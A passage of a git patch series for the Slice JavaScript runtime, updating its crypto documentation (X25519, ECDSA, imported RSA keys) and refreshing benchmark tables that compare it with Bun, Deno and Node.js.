or built-in native Rust intrinsics (`crypto`, `zlib`, `Slice.kv`). | +| Runtime RSA / DSA Prime Generation (`generateKeyPairSync("rsa" \| "dsa")` / `subtle.generateKey("RSASSA-PKCS1-v1_5" \| "RSA-PSS")`) | **Unsupported by Design** | Synchronous random large-prime search takes tens to hundreds of milliseconds of unbounded CPU variance and would stall shared multi-tenant worker threads (`ERR_CRYPTO_UNSUPPORTED_OPERATION` / `NotSupportedError`). Import existing `2048` to `8192`-bit RSA keys (`createPrivateKey`, `createPublicKey`, `subtle.importKey` in PEM, PKCS#8, PKCS#1, SPKI, or JWK) for `RSASSA-PKCS1-v1_5` and `RSA-PSS` signing/verification, or generate `Ed25519`, `X25519`, or `ECDSA` (`P-256` / `P-384`) keys at runtime in `< 30 us`. | --- diff --git a/docs/system/02_tiered_execution_and_boa_vm.md b/docs/system/02_tiered_execution_and_boa_vm.md index 9c9629c..6fad724 100644 --- a/docs/system/02_tiered_execution_and_boa_vm.md +++ b/docs/system/02_tiered_execution_and_boa_vm.md @@ -69,10 +69,10 @@ Implemented in [`crates/slice-engine/src/intrinsics/`](../../crates/slice-engine - Provides [`parse_whatwg_url`](../../crates/slice-engine/src/intrinsics/url_and_usp.rs), [`can_parse_whatwg_url`](../../crates/slice-engine/src/intrinsics/url_and_usp.rs), [`normalize_url_pathname`](../../crates/slice-engine/src/intrinsics/url_and_usp.rs), [`usp_encode_component`](../../crates/slice-engine/src/intrinsics/url_and_usp.rs), [`usp_decode_component`](../../crates/slice-engine/src/intrinsics/url_and_usp.rs), and [`usp_parse_query`](../../crates/slice-engine/src/intrinsics/url_and_usp.rs), exposed to Shard 1 via `__slice_url_can_parse`, `__slice_usp_encode`, and `__slice_usp_decode`. 1. **Hardware `SHA-NI` Block Compression ([`Sha256State::compress_block_sha_ni`](../../crates/slice-engine/src/intrinsics/hash_and_hmac.rs)):** - Uses Intel/AMD `SHA-NI` instructions (`_mm_sha256rnds2_epu32`, `_mm_sha256msg1_epu32`, `_mm_sha256msg2_epu32`) with cached `AtomicU8` runtime feature detection (`sha,sse4.1,ssse3`) and automatic fallback to [`Sha256State::compress_block_soft`](../../crates/slice-engine/src/intrinsics/hash_and_hmac.rs). -2. **Native `ring` + FIPS-180-4 WebCrypto & `node:crypto` Suite with Asymmetric RSA / `Ed25519` / `ECDSA` / `X25519` (`ECDH`) & Tenant-Scoped Key Handle Cache ([`asymmetric_and_keys.rs`](../../crates/slice-engine/src/intrinsics/asymmetric_and_keys.rs), [`symmetric_and_kdf.rs`](../../crates/slice-engine/src/intrinsics/symmetric_and_kdf.rs), [`bindings/crypto.rs`](../../crates/slice-engine/src/bindings/crypto.rs)):** - - Direct `JsArrayBuffer` / `JsUint8Array` zero-copy Rust host functions (`__slice_crypto_sha256`, `__slice_crypto_hmac_sha256`, `__slice_crypto_digest`, `__slice_crypto_hmac_sign`, `__slice_crypto_key_register`, `__slice_crypto_cipher`, `__slice_crypto_asym_keygen`, `__slice_crypto_asym_import`, `__slice_crypto_asym_sign`, `__slice_crypto_asym_verify`, `__slice_crypto_kdf`, `__slice_base64_encode`, `__slice_base64_decode`). - - Supports symmetric `AES-GCM` / `AES-CBC` and asymmetric `Ed25519`, `ECDSA` (`P-256` / `P-384`), RSA (`RSASSA-PKCS1-v1_5`, `RSA-PSS`, `RSA-OAEP`), and `X25519` / `ECDH` (`P-256` / `P-384`) key generation, PKCS#8 / SPKI / JWK / raw import & export, signing, verification, encryption, and shared-secret key derivation. - - Pre-expanded `ring::aead::LessSafeKey`, `ring::hmac::Key`, `AesExpandedKey`, `Ed25519` keypairs, `ECDSA` (`P-256`/`P-384`) keys, `RSA` key material, and `X25519` / `ECDH` keys are cached in thread-local `CRYPTO_KEY_HANDLE_TABLE` (`CachedCryptoKeyMaterial`) scoped by `BOA_ACTIVE_TENANT` so repeated cryptographic operations skip key schedule/DER parsing while preventing cross-tenant handle access. +2. **Native `ring` + `x25519-dalek` + FIPS-180-4 WebCrypto & `node:crypto` Suite with Asymmetric `Ed25519` / `X25519` / `ECDSA` / `RSA` & Tenant-Scoped Key Handle Cache ([`asymmetric_and_keys.rs`](../../crates/slice-engine/src/intrinsics/asymmetric_and_keys.rs), [`symmetric_and_kdf.rs`](../../crates/slice-engine/src/intrinsics/symmetric_and_kdf.rs), [`bindings/crypto.rs`](../../crates/slice-engine/src/bindings/crypto.rs)):** + - Direct `JsArrayBuffer` / `JsUint8Array` zero-copy Rust host functions (`__slice_crypto_sha256`, `__slice_crypto_hmac_sha256`, `__slice_crypto_digest`, `__slice_crypto_hmac_sign`, `__slice_crypto_key_register`, `__slice_crypto_cipher`, `__slice_crypto_asym_keygen`, `__slice_crypto_asym_import`, `__slice_crypto_asym_sign`, `__slice_crypto_asym_verify`, `__slice_crypto_ecdh`, `__slice_crypto_kdf`, `__slice_base64_encode`, `__slice_base64_decode`). + - Supports symmetric `AES-GCM` / `AES-CBC`, runtime asymmetric key generation (`Ed25519`, RFC 7748 `X25519`, and `ECDSA` `P-256` / `P-384`), PKCS#8 / PKCS#1 / SPKI / JWK / raw import & export, `Ed25519` / `ECDSA` / imported `2048`-`8192`-bit `RSA` (`RSASSA-PKCS1-v1_5` & `RSA-PSS` over `SHA-256`/`SHA-384`/`SHA-512`) signing & verification, and constant-time RFC 7748 `X25519` Diffie-Hellman key agreement (`crypto.diffieHellman` & `subtle.deriveBits`/`deriveKey`), while failing closed on unbounded runtime RSA/DSA prime generation. + - Pre-expanded `ring::aead::LessSafeKey`, `ring::hmac::Key`, `AesExpandedKey`, `Ed25519` keypairs, `ECDSA` (`P-256`/`P-384`) keys, `RSA` key material, and `X25519` keys are cached in thread-local `CRYPTO_KEY_HANDLE_TABLE` (`CachedCryptoKeyMaterial`) scoped by `BOA_ACTIVE_TENANT` so repeated cryptographic operations skip key schedule/DER parsing while preventing cross-tenant handle access. - KDF operations (`PBKDF2`, `HKDF`, `scrypt`) charge proportional CPU fuel against `BOA_FUEL_BUDGET` (`consume_crypto_kdf_fuel`), deterministically trapping hostile iteration/cost parameters with `SandboxViolation::CpuFuelExhausted`. 3. **Self-Contained RFC 1951 (`deflate-raw`), RFC 1950 (`deflate`), & RFC 1952 (`gzip`) Compression Engine:** - Implemented in [`zlib_compress_bytes`](../../crates/slice-engine/src/intrinsics/compression.rs) and [`zlib_decompress_bytes`](../../crates/slice-engine/src/intrinsics/compression.rs) with LZ77 32 KB sliding-window compression, Stored/Fixed/Dynamic Huffman decompression, Adler-32, and CRC-32 validation, powering both WinterTC `CompressionStream` / `DecompressionStream` and `node:zlib` with zero external crate dependencies. diff --git a/docs/system/04_networking_wintertc_and_event_loop.md b/docs/system/04_networking_wintertc_and_event_loop.md index 8b9d06a..4702af2 100644 --- a/docs/system/04_networking_wintertc_and_event_loop.md +++ b/docs/system/04_networking_wintertc_and_event_loop.md @@ -78,6 +78,6 @@ This document details Slice's multi-worker HTTP/1.1 server (`slice serve` in [`c ## 5. WinterTC Minimum Common Web Platform API & `Uint8Array`-Backed `Buffer` + Node Core Tier-1 -- **WinterTC Web Platform API ([`crates/slice-engine/src/preludes/js_preludes.rs`](../../crates/slice-engine/src/preludes/js_preludes.rs)):** `URL` (`canParse`), `URLPattern`, `URLSearchParams`, `Headers`, `Request`, `Response` (`Response.sse`), `fetch`, `EventSource`, `TextEncoder` (`encode`, `encodeInto`), `TextDecoder` (`utf-8`, `ascii`, `iso-8859-1`, `fatal: true`), `btoa`/`atob`, `crypto.randomUUID`, `crypto.getRandomValues`, `crypto.subtle` (`SHA-1/256/384/512`, `HMAC`, `AES-GCM`/`AES-CBC`, `Ed25519`, `ECDSA`, `RSA`, `X25519`/`ECDH`, `PBKDF2`/`HKDF`, `timingSafeEqual`, JWK/PKCS#8/SPKI/raw), `DOMException`, `Event`, `CustomEvent`, `EventTarget`, `AbortController`, `AbortSignal` (`timeout`, `any`, `abort`), `Blob`, `File`, `FormData`, `structuredClone`, `ReadableStream`, `WritableStream`, `TransformStream`, `TextEncoderStream`, `TextDecoderStream`, `CompressionStream`, `DecompressionStream`, `Intl` (`DateTimeFormat`, `NumberFormat`, `Collator`, `PluralRules`, `Segmenter`), `navigator`, `location`, and `WebAssembly`. +- **WinterTC Web Platform API ([`crates/slice-engine/src/preludes/js_preludes.rs`](../../crates/slice-engine/src/preludes/js_preludes.rs)):** `URL` (`canParse`), `URLPattern`, `URLSearchParams`, `Headers`, `Request`, `Response` (`Response.sse`), `fetch`, `EventSource`, `TextEncoder` (`encode`, `encodeInto`), `TextDecoder` (`utf-8`, `ascii`, `iso-8859-1`, `fatal: true`), `btoa`/`atob`, `crypto.randomUUID`, `crypto.getRandomValues`, `crypto.subtle` (`SHA-1/256/384/512`, `HMAC`, `AES-GCM`/`AES-CBC`, `Ed25519`, `ECDSA`, `RSASSA-PKCS1-v1_5`/`RSA-PSS`, `X25519`, `PBKDF2`/`HKDF`, `timingSafeEqual`, JWK/PKCS#8/SPKI/raw), `DOMException`, `Event`, `CustomEvent`, `EventTarget`, `AbortController`, `AbortSignal` (`timeout`, `any`, `abort`), `Blob`, `File`, `FormData`, `structuredClone`, `ReadableStream`, `WritableStream`, `TransformStream`, `TextEncoderStream`, `TextDecoderStream`, `CompressionStream`, `DecompressionStream`, `Intl` (`DateTimeFormat`, `NumberFormat`, `Collator`, `PluralRules`, `Segmenter`), `navigator`, `location`, and `WebAssembly`. - **Real `Uint8Array`-Backed `Buffer` (`Object.setPrototypeOf(Buffer.prototype, Uint8Array.prototype)`):** True `Uint8Array` subclass (`b instanceof Uint8Array === true`, `Buffer.isBuffer(b) === true`) with `DataView`-accelerated wire-protocol integer readers/writers (`readUInt8/16/32BE/LE`, `readBigUInt64BE/LE`, `writeUInt8/16/32BE/LE`, `writeBigUInt64BE/LE`). - **Lazy IIFE-Isolated `node:*` Core Modules ([`crates/slice-engine/src/preludes/node_builtins.rs`](../../crates/slice-engine/src/preludes/node_builtins.rs)):** `node:events`, `node:path` (`posix`/`win32`), `node:crypto`, `node:fs` & `node:fs/promises`, `node:util` & `node:util/types`, `node:assert` / `node:assert/strict`, `node:timers` & `node:timers/promises`, `node:os`, `node:url`, `node:buffer`, `node:stream` & `node:stream/web`, `node:http` & `node:https`, `node:zlib`, `node:async_hooks`, `node:string_decoder`, `node:querystring`, `node:net`, `node:tls`, `node:dgram`, `node:dns`, `node:vm`, `node:child_process`, and `node:worker_threads`. From 996ce7167bf2bbf285d62c13e2d1bd398fa1d62e Mon Sep 17 00:00:00 2001 From: SIKTEC Date: Wed, 11 Nov 2026 21:13:53 -0500 Subject: [PATCH 6/6] chore(bench): update 33-workload benchmark reports and doc tables --- README.md | 16 +- .../09_benchmarks_testing_and_docker_suite.md | 42 +- tests/README.md | 42 +- ...nch_v0.10.12_20261112_020639Z_4c5089a.json | 789 +++++++++++++++++ ...bench_v0.10.12_20261112_020639Z_4c5089a.md | 113 +++ tests/reports/latest.json | 822 +++++++++--------- tests/reports/latest.md | 124 +-- 7 files changed, 1425 insertions(+), 523 deletions(-) create mode 100644 tests/reports/bench_v0.10.12_20261112_020639Z_4c5089a.json create mode 100644 tests/reports/bench_v0.10.12_20261112_020639Z_4c5089a.md diff --git a/README.md b/README.md index 3fd61e0..b95ca28 100644 --- a/README.md +++ b/README.md @@ -169,14 +169,14 @@ Across **33 real-world TypeScript apps, frameworks (`Hono`, `UnJS`, `Express`, ` | Metric (`Linux x86_64`) | Slice (`v0.10.12`) | Bun (`v1.4.4`) | Deno (`v2.9.8`) | Node.js (`v27.0.0-alpha.0.0.0`) | | :--- | :---: | :---: | :---: | :---: | -| **Isolate Cold Start (`P50` / `P99`)** | **`1.02 us` / `4.27 us`** | Process / VM | Process / VM | Process / VM | -| **1,000-Tenant Swarm (Boot + Exec)** | **`1.74 ms` (`9.82 MB` RSS)** | `> 5,000 ms` | `> 15,000 ms` | `> 30,000 ms` | -| **HTTP/1.1 Keep-Alive (`16k` Reqs)** | **`154,794 req/s`** (Tier-0) / **`147,564 req/s`** (Tier-1) | `100,562 req/s` | `99,082 req/s` | `56,447 req/s` | -| **33-Workload Cold `.cas` Total** | **`496.3 ms`** (`1.40x` Bun / `5.44x` Node) | `695.3 ms` | `1,745.0 ms` | `2,700.0 ms` | -| **33-Workload `--warm` Pooled Total** | **`167.1 ms`** (`4.16x` Bun / `16.16x` Node) | `695.3 ms` | `1,745.0 ms` | `2,700.0 ms` | -| **Peak Memory (`Max RSS` Range)** | **`13.45 - 21.63 MB`** | `26.13 - 40.25 MB` | `45.69 - 62.38 MB` | `70.15 - 93.00 MB` | - -Full 33-workload breakdown, per-app latency and RSS tables, and run provenance (`dc31f74`, `2026-11-11T17:58:36Z`): **[`tests/reports/latest.md`](./tests/reports/latest.md)** (archive: [`bench_v0.10.12_20261111_175836Z_dc31f74.md`](./tests/reports/bench_v0.10.12_20261111_175836Z_dc31f74.md)). +| **Isolate Cold Start (`P50` / `P99`)** | **`1.24 us` / `2.10 us`** | Process / VM | Process / VM | Process / VM | +| **1,000-Tenant Swarm (Boot + Exec)** | **`1.50 ms` (`19.69 MB` RSS)** | `> 5,000 ms` | `> 15,000 ms` | `> 30,000 ms` | +| **HTTP/1.1 Keep-Alive (`16k` Reqs)** | **`148,865 req/s`** (Tier-0) / **`154,737 req/s`** (Tier-1) | `96,712 req/s` | `100,758 req/s` | `57,158 req/s` | +| **33-Workload Cold `.cas` Total** | **`500.8 ms`** (`1.39x` Bun / `5.43x` Node) | `696.7 ms` | `1,748.9 ms` | `2,717.7 ms` | +| **33-Workload `--warm` Pooled Total** | **`170.4 ms`** (`4.09x` Bun / `15.95x` Node) | `696.7 ms` | `1,748.9 ms` | `2,717.7 ms` | +| **Peak Memory (`Max RSS` Range)** | **`13.75 - 22.13 MB`** | `25.85 - 40.88 MB` | `45.71 - 62.29 MB` | `69.90 - 93.50 MB` | + +Full 33-workload breakdown, per-app latency and RSS tables, and run provenance (`4c5089a`, `2026-11-12T02:06:39Z`): **[`tests/reports/latest.md`](./tests/reports/latest.md)** (archive: [`bench_v0.10.12_20261112_020639Z_4c5089a.md`](./tests/reports/bench_v0.10.12_20261112_020639Z_4c5089a.md)). To reproduce the full Linux `x86_64` Docker benchmark suite locally and regenerate [`tests/reports/latest.md`](./tests/reports/latest.md): diff --git a/docs/general/09_benchmarks_testing_and_docker_suite.md b/docs/general/09_benchmarks_testing_and_docker_suite.md index 9b9e0c5..dcf6f4a 100644 --- a/docs/general/09_benchmarks_testing_and_docker_suite.md +++ b/docs/general/09_benchmarks_testing_and_docker_suite.md @@ -147,45 +147,45 @@ Slice includes a comprehensive Linux `x86_64` Docker benchmark suite ([`tests/`] ### 4.1 Verified Results Across All 33 Production Applications, Frameworks & Case Studies ([`tests/reports/latest.md`](../../tests/reports/latest.md)) -> **Latest Verified Benchmark Report:** **[`tests/reports/latest.md`](../../tests/reports/latest.md)** (Archive: [`bench_v0.10.12_20261111_175836Z_dc31f74.md`](../../tests/reports/bench_v0.10.12_20261111_175836Z_dc31f74.md)) -> **Provenance:** Slice `v0.10.12` (`dc31f74`) | Generated `2026-11-11T17:58:36Z` | Environment: `Linux x86_64 Docker (io_uring SQPOLL + WRPKRU)` +> **Latest Verified Benchmark Report:** **[`tests/reports/latest.md`](../../tests/reports/latest.md)** (Archive: [`bench_v0.10.12_20261112_020639Z_4c5089a.md`](../../tests/reports/bench_v0.10.12_20261112_020639Z_4c5089a.md)) +> **Provenance:** Slice `v0.10.12` (`4c5089a`) | Generated `2026-11-12T02:06:39Z` | Environment: `Linux x86_64 Docker (io_uring SQPOLL + WRPKRU)` > **Scorecard Across All 33 Production Workloads:** Beats **Deno (`v2.9.8`)** on **33/33**, **Node.js (`v27.0.0-alpha.0.0.0`)** on **33/33**, **Bun (`v1.4.4`)** on **29/33** cold one-shot, and **all 3 runtimes on 33/33 workloads in `--warm` pooled execution**. #### 1. Core Architecture, HTTP Throughput & 1,000-Tenant MicroVM Density | Metric | Slice (`v0.10.12` `SLICEBC\x01`) | Bun (`v1.4.4`) | Deno (`v2.9.8`) | Node.js (`v27.0.0-alpha.0.0.0`) | Slice Advantage | | :--- | :---: | :---: | :---: | :---: | :--- | -| **In-Process Isolate Cold Start (`P50` / `P99`)** | **`1.02 us` / `4.27 us`** | N/A (Process/VM) | N/A (Process/VM) | N/A (Process/VM) | **~120,000x faster than 125ms Firecracker VM** | -| **1,000-Tenant MicroVM Swarm (Boot + Exec)** | **`1.74 ms` (`9.82 MB` RSS)** | > 5,000 ms | > 15,000 ms | > 30,000 ms | **> 3,900x faster / ~32,000x denser** | +| **In-Process Isolate Cold Start (`P50` / `P99`)** | **`1.24 us` / `2.10 us`** | N/A (Process/VM) | N/A (Process/VM) | N/A (Process/VM) | **~120,000x faster than 125ms Firecracker VM** | +| **1,000-Tenant MicroVM Swarm (Boot + Exec)** | **`1.50 ms` (`19.69 MB` RSS)** | > 5,000 ms | > 15,000 ms | > 30,000 ms | **> 3,900x faster / ~32,000x denser** | | **500-Module Monorepo Cold Boot (`stat()` Calls)** | **`3.41 ms` (`0 stat()`)** | `12.72 ms` (`500+ stat`) | `41.80 ms` (`500+ stat`) | `70.38 ms` (`1,500+ stat`) | **`3.7x` faster than Bun / `20.6x` Node.js** | -| **HTTP/1.1 Keep-Alive Throughput (`16k` Reqs)** | **`154,794 req/s`** (Tier-0)
**`147,564 req/s`** (Tier-1) | `100,562 req/s` | `99,082 req/s` | `56,447 req/s` | **`1.54x` (`Tier-0`) / `1.47x` (`Tier-1`) vs `Bun.serve`** | -| **Peak Process Memory (`Max RSS` Across Suite)** | **`13.45 - 21.63 MB`** | `26.13 - 40.25 MB` | `45.69 - 62.38 MB` | `70.15 - 93.00 MB` | **`1.5x-2.4x` less than Bun / `3.9x-6.8x` less than Node** | +| **HTTP/1.1 Keep-Alive Throughput (`16k` Reqs)** | **`148,865 req/s`** (Tier-0)
**`154,737 req/s`** (Tier-1) | `96,712 req/s` | `100,758 req/s` | `57,158 req/s` | **`1.54x` (`Tier-0`) / `1.60x` (`Tier-1`) vs `Bun.serve`** | +| **Peak Process Memory (`Max RSS` Across Suite)** | **`13.75 - 22.13 MB`** | `25.85 - 40.88 MB` | `45.71 - 62.29 MB` | `69.90 - 93.50 MB` | **`1.5x-2.4x` less than Bun / `3.9x-6.8x` less than Node** | | **Multi-Tenant Security Containment** | **`5 / 5 PASS`** (OCap+SES+Fuel+DLP) | `0 / 5` (Ambient) | `2 / 5` (Coarse CLI) | `0 / 5` (Ambient) | **Hardware & Language Zero-Trust Isolation** | #### 2. Real-Life Workload Summary by Domain (All 33 Workloads Aggregated) | Workload Domain & Stack Coverage | Suites | Slice Cold `.cas` Avg (Range) | Slice Warm (`--warm`) Avg | Bun `v1.4.4` Avg | Deno `v2.9.8` Avg | Node.js `v27.0.0-alpha.0.0.0` Avg | Category Speedup vs Bun / Node.js | | :--- | :---: | :---: | :---: | :---: | :---: | :---: | :--- | -| **Core Edge, Auth & Crypto (`Apps 01, 04, 05, 16`)**
Multi-file TS, SHA-256/HMAC, JWT/OAuth2, `.env` Auto-DLP | `4` | **`7.84 ms`** (`6.28-10.07 ms`) | **`2.17 ms`** | `14.52 ms` | `42.60 ms` | `62.07 ms` | **`1.85x Bun` (`6.69x` Warm) / `7.92x Node`** | -| **NPM Ecosystem, AST & Disk I/O (`Apps 02, 03, 06, 07, 08, 20`)**
`semver`, `flatted`, `dlv`/`dset`, `mitt`, 10-Shard JSONL I/O, `Buffer` | `6` | **`10.94 ms`** (`7.25-14.23 ms`) | **`3.16 ms`** | `17.64 ms` | `48.12 ms` | `65.89 ms` | **`1.61x Bun` (`5.59x` Warm) / `6.02x Node`** | -| **WinterTC Web Standards, Fetch Mesh & DLP (`Apps 09-14, 17-19`)**
`Request`/`Response`, Static CDN `304`, SSE, Live `fetch`, WebCrypto | `9` | **`15.45 ms`** (`8.12-29.33 ms`) | **`7.31 ms`** | `18.48 ms` | `52.47 ms` | `93.96 ms` | **`1.20x Bun` (`2.53x` Warm) / `6.08x Node`** | -| **Realtime WebSockets, Workers & Wasm/TSX (`Apps 15, 21-24`)**
RFC 6455 WS, `worker_threads` + TCP/UDP, Pure-Rust `wasmi` Wasm, TSX SSR | `5` | **`14.25 ms`** (`8.72-20.99 ms`) | **`2.48 ms`** | `28.68 ms` | `62.87 ms` | `86.44 ms` | **`2.01x Bun` (`11.57x` Warm) / `6.07x Node`** | -| **Full-Stack Edge & Node Frameworks (`FW 01-04`)**
`Hono v4.6.20`, `itty-router + UnJS Nitro`, `Express/Polka node:http`, `SvelteKit 3.1.1 + Svelte 5.57.3` | `4` | **`20.74 ms`** (`14.65-34.19 ms`) | **`7.47 ms`** | `29.22 ms` | `54.14 ms` | `93.40 ms` | **`1.41x Bun` (`3.91x` Warm) / `4.50x Node`** | -| **AI Agent, Multi-Tenant SaaS & Chaos Case Studies (`CS 01-05`)**
Depth-4 ToT Agent, MCP Code Mode, 12-Tenant Mesh, Wasm CDR, 48 Payment Sagas | `5` | **`21.17 ms`** (`13.17-34.84 ms`) | **`6.27 ms`** | `20.96 ms` | `56.54 ms` | `80.98 ms` | **`0.99x Bun` (`3.34x` Warm) / `3.82x Node`** | +| **Core Edge, Auth & Crypto (`Apps 01, 04, 05, 16`)**
Multi-file TS, SHA-256/HMAC, JWT/OAuth2, `.env` Auto-DLP | `4` | **`7.89 ms`** (`6.20-10.29 ms`) | **`2.27 ms`** | `14.59 ms` | `42.57 ms` | `62.64 ms` | **`1.85x Bun` (`6.43x` Warm) / `7.94x Node`** | +| **NPM Ecosystem, AST & Disk I/O (`Apps 02, 03, 06, 07, 08, 20`)**
`semver`, `flatted`, `dlv`/`dset`, `mitt`, 10-Shard JSONL I/O, `Buffer` | `6` | **`10.99 ms`** (`7.20-14.25 ms`) | **`3.13 ms`** | `17.39 ms` | `47.22 ms` | `65.26 ms` | **`1.58x Bun` (`5.56x` Warm) / `5.94x Node`** | +| **WinterTC Web Standards, Fetch Mesh & DLP (`Apps 09-14, 17-19`)**
`Request`/`Response`, Static CDN `304`, SSE, Live `fetch`, WebCrypto | `9` | **`15.80 ms`** (`8.38-29.52 ms`) | **`7.52 ms`** | `18.47 ms` | `52.63 ms` | `96.08 ms` | **`1.17x Bun` (`2.46x` Warm) / `6.08x Node`** | +| **Realtime WebSockets, Workers & Wasm/TSX (`Apps 15, 21-24`)**
RFC 6455 WS, `worker_threads` + TCP/UDP, Pure-Rust `wasmi` Wasm, TSX SSR | `5` | **`14.30 ms`** (`8.68-21.43 ms`) | **`2.51 ms`** | `28.42 ms` | `64.62 ms` | `87.55 ms` | **`1.99x Bun` (`11.32x` Warm) / `6.12x Node`** | +| **Full-Stack Edge & Node Frameworks (`FW 01-04`)**
`Hono v4.6.20`, `itty-router + UnJS Nitro`, `Express/Polka node:http`, `SvelteKit 3.1.1 + Svelte 5.57.3` | `4` | **`21.14 ms`** (`15.85-33.50 ms`) | **`7.55 ms`** | `31.46 ms` | `56.70 ms` | `94.88 ms` | **`1.49x Bun` (`4.17x` Warm) / `4.49x Node`** | +| **AI Agent, Multi-Tenant SaaS & Chaos Case Studies (`CS 01-05`)**
Depth-4 ToT Agent, MCP Code Mode, 12-Tenant Mesh, Wasm CDR, 48 Payment Sagas | `5` | **`20.82 ms`** (`13.72-33.66 ms`) | **`6.42 ms`** | `19.96 ms` | `54.35 ms` | `78.70 ms` | **`0.96x Bun` (`3.11x` Warm) / `3.78x Node`** | #### 3. Flagship Real-World Representative Workloads (9 of 33 Highlights) | # | Flagship Workload | Slice Cold `.cas` | Slice Warm (`--warm`) | Bun `v1.4.4` | Deno `v2.9.8` | Node.js `v27.0.0-alpha.0.0.0` | Speedup vs Bun / Node.js | | :- | :--- | :---: | :---: | :---: | :---: | :---: | :--- | -| **01** | `01-fintech-checkout` (Multi-File TS + SHA-256) | **`6.28 ms`** | **`1.05 ms`** | `13.38 ms` | `35.22 ms` | `58.45 ms` | **`2.13x Bun` (`12.74x` Warm) / `9.31x Node`** | -| **03** | `03-disk-io-log-pipeline` (10 JSONL Shards Disk I/O) | **`7.25 ms`** | **`1.29 ms`** | `14.08 ms` | `43.23 ms` | `61.79 ms` | **`1.94x Bun` (`10.92x` Warm) / `8.52x Node`** | -| **14** | `14-federated-api-mesh-dlp` (`bytes` + `dlv` + `dset` + Live `fetch`) | **`15.83 ms`** | **`6.70 ms`** | `21.20 ms` | `56.40 ms` | `108.62 ms` | **`1.34x Bun` (`3.17x` Warm) / `6.86x Node`** | -| **20** | `20-node-compat-and-edge-router` (`Uint8Array` `Buffer`/Node Core/AST Bundler) | **`11.26 ms`** | **`0.50 ms`** | `25.08 ms` | `55.78 ms` | `73.35 ms` | **`2.23x Bun` (`50.56x` Warm) / `6.51x Node`** | -| **22** | `22-worker-threads-and-raw-sockets` (3 Worker Threads + TCP/UDP + 5-Ring Sec) | **`20.99 ms`** | **`1.74 ms`** | `57.15 ms` | `114.02 ms` | `101.72 ms` | **`2.72x Bun` (`32.86x` Warm) / `4.85x Node`** | -| **FW-01** | `FW-01: frameworks/01-hono-edge-microservice` (`hono@4.6.20` + `hono/cookie` + `ms`) | **`14.65 ms`** | **`5.59 ms`** | `19.86 ms` | `51.15 ms` | `94.15 ms` | **`1.36x Bun` (`3.55x` Warm) / `6.43x Node`** | -| **FW-04** | `FW-04: frameworks/04-sveltekit-edge-ssr` (`@sveltejs/kit@3.1.1` + `svelte@5.57.3` + `devalue@6.0.3`) | **`34.37 ms`** | **`14.26 ms`** | `43.71 ms` | `68.04 ms` | `108.54 ms` | **`1.28x Bun` (`3.07x` Warm) / `3.17x Node`** | -| **CS-01** | `CS-01: case_studies/01-tot-autonomous-sre-agent` (20 ToT Sandboxes) | **`34.84 ms`** | **`12.99 ms`** | `28.86 ms` | `73.55 ms` | `91.05 ms` | **`0.83x Bun` (`2.22x` Warm) / `2.61x Node`** | -| **CS-05** | `CS-05: case_studies/05-time-travel-chaos-fuzzer-payments` (48 Payment Sagas) | **`18.14 ms`** | **`8.32 ms`** | `21.10 ms` | `65.54 ms` | `86.65 ms` | **`1.16x Bun` (`2.54x` Warm) / `4.78x Node`** | +| **01** | `01-fintech-checkout` (Multi-File TS + SHA-256) | **`6.20 ms`** | **`1.10 ms`** | `13.35 ms` | `35.66 ms` | `59.81 ms` | **`2.15x Bun` (`12.13x` Warm) / `9.65x Node`** | +| **03** | `03-disk-io-log-pipeline` (10 JSONL Shards Disk I/O) | **`7.20 ms`** | **`1.38 ms`** | `14.56 ms` | `44.02 ms` | `60.87 ms` | **`2.02x Bun` (`10.57x` Warm) / `8.46x Node`** | +| **14** | `14-federated-api-mesh-dlp` (`bytes` + `dlv` + `dset` + Live `fetch`) | **`15.60 ms`** | **`7.08 ms`** | `20.77 ms` | `51.56 ms` | `107.86 ms` | **`1.33x Bun` (`2.93x` Warm) / `6.91x Node`** | +| **20** | `20-node-compat-and-edge-router` (`Uint8Array` `Buffer`/Node Core/AST Bundler) | **`10.83 ms`** | **`0.48 ms`** | `22.62 ms` | `53.73 ms` | `73.69 ms` | **`2.09x Bun` (`46.74x` Warm) / `6.80x Node`** | +| **22** | `22-worker-threads-and-raw-sockets` (3 Worker Threads + TCP/UDP + 5-Ring Sec) | **`21.43 ms`** | **`1.74 ms`** | `56.81 ms` | `115.28 ms` | `106.59 ms` | **`2.65x Bun` (`32.71x` Warm) / `4.97x Node`** | +| **FW-01** | `FW-01: frameworks/01-hono-edge-microservice` (`hono@4.6.20` + `hono/cookie` + `ms`) | **`16.17 ms`** | **`5.59 ms`** | `19.64 ms` | `53.18 ms` | `96.15 ms` | **`1.24x Bun` (`3.51x` Warm) / `6.07x Node`** | +| **FW-04** | `FW-04: frameworks/04-sveltekit-edge-ssr` (`@sveltejs/kit@3.1.1` + `svelte@5.57.3` + `devalue@6.0.3`) | **`33.50 ms`** | **`14.70 ms`** | `51.40 ms` | `74.88 ms` | `113.30 ms` | **`1.53x Bun` (`3.50x` Warm) / `3.38x Node`** | +| **CS-01** | `CS-01: case_studies/01-tot-autonomous-sre-agent` (20 ToT Sandboxes) | **`33.66 ms`** | **`13.08 ms`** | `27.98 ms` | `72.01 ms` | `88.02 ms` | **`0.83x Bun` (`2.14x` Warm) / `2.62x Node`** | +| **CS-05** | `CS-05: case_studies/05-time-travel-chaos-fuzzer-payments` (48 Payment Sagas) | **`17.56 ms`** | **`8.52 ms`** | `20.04 ms` | `63.78 ms` | `82.76 ms` | **`1.14x Bun` (`2.35x` Warm) / `4.71x Node`** | *Full 33-workload latency breakdown, standalone binary metrics, peak RSS per app, and historical reports: **[`tests/reports/latest.md`](../../tests/reports/latest.md)**.* diff --git a/tests/README.md b/tests/README.md index 1244543..5f466a2 100644 --- a/tests/README.md +++ b/tests/README.md @@ -212,45 +212,45 @@ This directory (`tests/`) contains a reproducible Linux `x86_64` Docker benchmar ## Verified Linux Docker (`x86_64`) Benchmark Results Across All 33 Workloads ([`reports/latest.md`](./reports/latest.md)) -> **Latest Verified Benchmark Report:** **[`tests/reports/latest.md`](./reports/latest.md)** (Archive: [`bench_v0.10.12_20261111_175836Z_dc31f74.md`](./reports/bench_v0.10.12_20261111_175836Z_dc31f74.md)) -> **Provenance:** Slice `v0.10.12` (`dc31f74`) | Generated `2026-11-11T17:58:36Z` | Environment: `Linux x86_64 Docker (io_uring SQPOLL + WRPKRU)` +> **Latest Verified Benchmark Report:** **[`tests/reports/latest.md`](./reports/latest.md)** (Archive: [`bench_v0.10.12_20261112_020639Z_4c5089a.md`](./reports/bench_v0.10.12_20261112_020639Z_4c5089a.md)) +> **Provenance:** Slice `v0.10.12` (`4c5089a`) | Generated `2026-11-12T02:06:39Z` | Environment: `Linux x86_64 Docker (io_uring SQPOLL + WRPKRU)` > **Scorecard Across All 